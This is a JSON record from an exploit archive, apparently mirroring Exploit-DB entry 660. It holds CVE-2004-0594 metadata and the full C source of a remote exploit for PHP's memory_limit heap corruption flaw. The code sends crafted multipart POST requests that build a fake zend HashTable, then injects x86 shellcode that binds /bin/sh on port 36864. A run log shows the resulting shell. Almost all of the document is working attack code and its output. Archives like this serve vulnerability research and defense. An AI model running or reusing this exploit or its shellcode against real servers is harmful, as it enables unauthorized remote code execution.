{"exploit":{"id":"EDB-660","name":"PHP 4.3.7/5.0.0RC3 - 'memory_limit' Remote Overflow","description":"PHP 4.3.7/5.0.0RC3 - 'memory_limit' Remote Overflow","cves":["CVE-2004-0594"],"author":"Gyan Chawdhary","published":"2004-11-27","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/660","path":"exploits/linux/remote/660.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-660.c","vulnerabilities":[{"id":"CVE-2004-0594","state":"PUBLISHED","title":null,"titleSource":null,"description":"The memory_limit functionality in PHP 4.x up to 4.3.7, and 5.x up to 5.0.0RC3, under certain conditions such as when register_globals is enabled, allows remote attackers to execute arbitrary code by triggering a memory_limit abort during execution of the zend_hash_init function and overwriting a HashTable destructor pointer before the initialization of key data structures is complete.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-0594","cvss":{"version":"2.0","baseScore":5.1,"severity":"medium","vectorString":"AV:N/AC:H/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-0594"},"updatedAt":"2024-08-08T00:24:26.318Z","retrievedAt":"2026-11-26T12:07:48.702Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-660.png?v=2","url":"https://exploitbin.com/exploits/EDB-660","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-660/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-660/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/* Remote exploit for the php memory_limit vulnerability found by Stefan\n * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).\n *\n * by Gyan Chawdhary (gunnu45@hotmail.com)\n * (felinemenace.org/~gyan)\n *\n * Greets\n * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.\n * scrippie, gera, riq, jaguar, girish, n2n ...\n *\n * Vulnerability:\n * The issue is well documented in the advisory.\n *\n * Exploitation:\n * I cud not find a generic way to free a 40 byte chunk which could be later\n * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table\n * which will be sent in the first request. The second request will kick in the\n * memory interuption after allocating space for the hashtable and before it is\n * initalized. The memory it will use for this allocation will contain the data\n * from our previous request which includes the pDestructor pointer pointing to\n * our nop+shellcode which is a part of the second request. This happens in the\n * zend_hash_destory function.\n *\n * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick\n * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,\n * Apache 2.0.49 with register_globals = On\n *\n * Gyan\n *\n *\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n\n#define IP \"127.0.0.1\"\n#define PORT 80\nint sock;\nstruct sockaddr_in s;\n\nchar request1[]=\n\"POST /info.php?a[1]=test HTTP/1.0\"\n\"Host: doesnotreallymatter\\r\\n\"\n\"User-Agent: mlxdebug\\r\\n\"\n\"Accept: text/html\\r\\n\"\n\"Connection: close\\r\\n\"\n\"Pragma: no-cache\\r\\n\"\n\"Cache-Control: no-cache\\r\\n\"\n\"Content-Type: multipart/form-data; boundary=------------ \\r\\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \\r\\n\";\n\nchar request2[]=\n\"---------------264122487026375\\r\\n\"\n\"Content-Length: 472\\r\\n\"\n\"\\r\\n\"\n\"-----------------------------264122487026375\\r\\n\"\n\"Content-Disposition: form-data; name=\\\"a[][]\\\"\\r\\n\"\n\"\\r\\n\"\n\"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \\r\\n\"\n\"\\r\\n\"\n\"-----------------------------264122487026375--\\r\\n\";\n\nchar request3[]=\n\"POST /info.php?a[1]=test HTTP/1.0\"\n\"Host: doesnotreallymatter\\r\\n\"\n\"User-Agent: mlxdebug\\r\\n\"\n\"Accept: text/html\\r\\n\"\n\"Connection: close\\r\\n\"\n\"Pragma: no-cache\\r\\n\"\n\"Cache-Control: no-cache\\r\\n\"\n\"Content-Type: multipart/form-data; boundary=-------------\";\n\nchar request4[]=\n\"---------------264122487026375\\r\\n\"\n\"Content-Length: 472\\r\\n\"\n\"\\r\\n\"\n\"-----------------------------264122487026375\\r\\n\"\n\"Content-Disposition: form-data; name=\\\"a[][]\\\"\\r\\n\"\n\"\\r\\n\"\n\"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \\r\\n\"\n\"-----------------------------264122487026375--\\r\\n\";\n\n/*Ripped shellcode. Runs on port 36864*/\nchar shell[]=\n\"\\xeb\\x72\\x5e\\x29\\xc0\\x89\\x46\\x10\\x40\\x89\\xc3\\x89\\x46\\x0c\"\n\"\\x40\\x89\\x46\\x08\\x8d\\x4e\\x08\\xb0\\x66\\xcd\\x80\\x43\\xc6\\x46\"\n\"\\x10\\x10\\x66\\x89\\x5e\\x14\\x88\\x46\\x08\\x29\\xc0\\x89\\xc2\\x89\"\n\"\\x46\\x18\\xb0\\x90\\x66\\x89\\x46\\x16\\x8d\\x4e\\x14\\x89\\x4e\\x0c\"\n\"\\x8d\\x4e\\x08\\xb0\\x66\\xcd\\x80\\x89\\x5e\\x0c\\x43\\x43\\xb0\\x66\"\n\"\\xcd\\x80\\x89\\x56\\x0c\\x89\\x56\\x10\\xb0\\x66\\x43\\xcd\\x80\\x86\"\n\"\\xc3\\xb0\\x3f\\x29\\xc9\\xcd\\x80\\xb0\\x3f\\x41\\xcd\\x80\\xb0\\x3f\"\n\"\\x41\\xcd\\x80\\x88\\x56\\x07\\x89\\x76\\x0c\\x87\\xf3\\x8d\\x4b\\x0c\"\n\"\\xb0\\x0b\\xcd\\x80\\xe8\\x89\\xff\\xff\\xff/bin/sh\";\n\n\nvoid xp_connect(char *ip)\n{\n        char buffer[1024];\n        char temp[1024];\n        int tmp;\n\n        s.sin_family = AF_INET;\n        s.sin_port = htons(PORT);\n        s.sin_addr.s_addr = inet_addr(ip);\n\n        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)\n        {\n                printf(\"Cannot create socket\\n\");\n                exit(-1);\n        }\n\n        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)\n        {\n                printf(\"Cannot connect()\\n\");\n                exit(-1);\n        }\n}\n\nvoid xp_write(char *data)\n{\n\n        if(write (sock, data, strlen(data)) < 0)\n        {\n         printf(\"write() failed\\n\");\n         exit(-1);\n        }\n}\n\nvoid xp_receive()\n{\n        int tmp;\n        char buffer[1024*2];\n\n \tif ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)\n        {\n               printf(\"read() failed\\n\");\n               exit(-1);\n        }\n}\n\nchar fill[] = \" \\r\\n %s \\r\\n \";\n\n/*This function builds the main request. In destroy_uploaded_files_hash we\n * need to pass zend_hash_apply to reach zend_hash_destroy.\n * We set\n * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION\n * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply\n * 3) ht->pDestructor = addr to nop+shellcode\n * 0x402c22bc <zend_hash_destroy+184>:     sub    $0xc,%esp\n * 0x402c22bf <zend_hash_destroy+187>:     pushl  0x8(%esi)\n * 0x402c22c2 <zend_hash_destroy+190>:     call   *%eax\n * 0x402c22c4 <zend_hash_destroy+192>:     add    $0x10,%esp\n *\n * $eax = ht->pDestructor\n */\n\nvoid build1(int size, int count)\n{\n\t        char *p1, *p2;\n\t        char *b1, *b2;\n\t        int i;\n\t\tint pot = 0xffffffff;\n\t\tint got = 0x41414141;\n\t\tint bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;\n\t\tint sot = 0x02020202;\n\t\tint ret = 0x081887a8;\n\n\t\tb1 = (char *)malloc(size-8);\n                p1 = b1;\n\n\t\tfor (i=0; i<size-8; i+=36)\n\t\t{\n\t\t*( (int **)p1 ) = (int *)( pot );\n\t\tp1+=4;\n\t\t*( (int **)p1 ) = (int *)( got );\n\t\tp1+=4;\n\t\t*( (int **)p1 ) = (int *)( bot );\n\t\tp1+=4;\n\t\t*( (int **)p1 ) = (int *)( ret );\n                p1+=4;\n                *( (int **)p1 ) = (int *)( bot );\n                p1+=4;\n\t\t*( (int **)p1 ) = (int *)( got );\n\t        p1+=4;\n\t        *( (int **)p1 ) = (int *)( bot );\n\t        p1+=4;\n\t\t*( (int **)p1 ) = (int *)( sot );\n\t\tp1+=4;\n\t\t}\n\n\t        b2 = (char *)malloc(size+1);\n\t        p2 = b2;\n\n\t\tsprintf(p2, fill, b1);\n\n\t        for(i=0; i<count; i++)\n                xp_write(b2);\n}\n\n/*Test function for resetting php memory , does not work properly with\n * php_normalize_heap function */\nvoid build2(int size, int count)\n{\n               char *p1, *p2;\n               char *b1, *b2;\n               int i;\n               b1 = (char *)malloc(size-8);\n               p1 = b1;\n               memset(p1, '\\x42', size-8);\n               b2 = (char *)malloc(size+1);\n               p2 = b2;\n               sprintf(p2, fill, b1);\n               for(i=0; i<count; i++)\n               xp_write(b2);\n}\n\n/*TODO*/\nchar *php_normalize_heap()\n{\n\treturn;\n}\n\n/*Builds our shellcode with NOP's and the mem interuption request*/\n\nvoid build3(int size, int count)\n{\n               char *p1, *p2;\n               char *b1, *b2;\n               int i;\n               int pot = 0x90909090;\n\n\t       b1 = (char *)malloc(size-8);\n               p1 = b1;\n\n  \t       for (i=0; i<size-8-strlen(shell); i+=4) {\n\t\t       *( (int **)p1 ) = (int *)( pot );\n\t                p1+=4;\n                }\n \t\tp1 = b1;\n\n\t\tp1+= size - 8 - strlen(shell);\n\t\tstrncpy(p1, shell, strlen(shell));\n\n       \t       b2 = (char *)malloc(size+1);\n               p2 = b2;\n\n                sprintf(p2, fill, b1);\n\n                for(i=0; i<count; i++)\n\t                xp_write(b2);\n\t      }\n\n\n\nvoid exploit()\n{\n\n\tint i;\n\n\tprintf(\"Stage 1: Filling mem with bad pdestructor ... \");\n\tfor (i=0; i< 5; i++)\n\t{\n  \t     xp_connect(IP);\n      \t     xp_write(request1);\n             build1(5000, 1);\n             xp_write(request2);\n\t     close(sock);\n\t}\n\tprintf(\"DONE\\r\\n\");\n\tprintf(\"Stage 2: Triggering memory_limit now ... \");\n\n\txp_connect(IP);\n        xp_write(request3);\n        build3(8192, 255);\n        build3(7265, 1);\n        xp_write(request4);\n\tprintf(\"DONE\\r\\n\");\n\tprintf(\"Shell on port 36864\\r\\n\");\n\n}\n\nmain()\n{\n\t/*No args, no vectors*/\n\texploit();\n}\n\n/*\n * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and\n *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE\n *\n *\n[root@localhost stuff]# ./cool\nStage 1: Filling mem with bad pdestructor ... DONE\nStage 2: Triggering mem_limit now ... DONE\nShell on port 36864\n[root@localhost stuff]# telnet 127.0.0.1 36864\nTrying 127.0.0.1...\nConnected to localhost.localdomain (127.0.0.1).\nEscape character is '^]'.\nid;\nuid=99(nobody) gid=4294967295 groups=4294967295\nuname -a;\nLinux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux\n*/\n\n\n\n// milw0rm.com [2004-11-27]","sha256":"581b8f1b109d2c767663b7aadd9b5a67bcb3e74b3ac593a15f37cd1969e12b64","bytes":8176,"fetchedAt":"2026-11-26T12:07:46.752Z","encoding":"utf-8 (display only; download retains original bytes)"}